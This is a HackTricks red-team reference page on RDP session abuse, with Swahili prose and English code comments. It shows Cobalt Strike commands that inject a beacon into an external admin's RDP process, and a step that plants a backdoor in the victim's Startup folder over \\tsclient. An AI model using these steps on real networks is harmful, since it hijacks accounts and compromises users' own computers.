RDP Sessions Abuse

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Uingizaji wa Mchakato wa RDP

Ikiwa kikundi cha nje kina upatikanaji wa RDP kwa kompyuta yoyote katika kikoa cha sasa, mshambuliaji anaweza kudukua kompyuta hiyo na kusubiri.

Marafiki huyo amepata upatikanaji kupitia RDP, mshambuliaji anaweza kuingia kwenye kikao cha mtumiaji huyo na kutumia vibali vyake katika kikoa cha nje.

# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user

Angalia njia nyingine za kuiba vikao kwa kutumia zana nyingine katika ukurasa huu.

RDPInception

Ikiwa mtumiaji anapata kupitia RDP kwenye kifaa ambapo mshambuliaji anamngojea, mshambuliaji ataweza kuingiza ishara katika kikao cha RDP cha mtumiaji na ikiwa mwathirika amefunga diski yake wakati anapata kupitia RDP, mshambuliaji anaweza kuipata.

Katika kesi hii, unaweza tu kuathiri kompyuta halisi ya mwathirika kwa kuandika mlango wa nyuma katika folda ya kuanza.

# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c

Size     Type    Last Modified         Name
----     ----    -------------         ----
dir     02/10/2021 04:11:30   $Recycle.Bin
dir     02/10/2021 03:23:44   Boot
dir     02/20/2021 10:15:23   Config.Msi
dir     10/18/2016 01:59:39   Documents and Settings
[...]

# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikionekana katika HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!

• Pata swag rasmi ya PEASS & HackTricks

• Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee

• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.

• Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.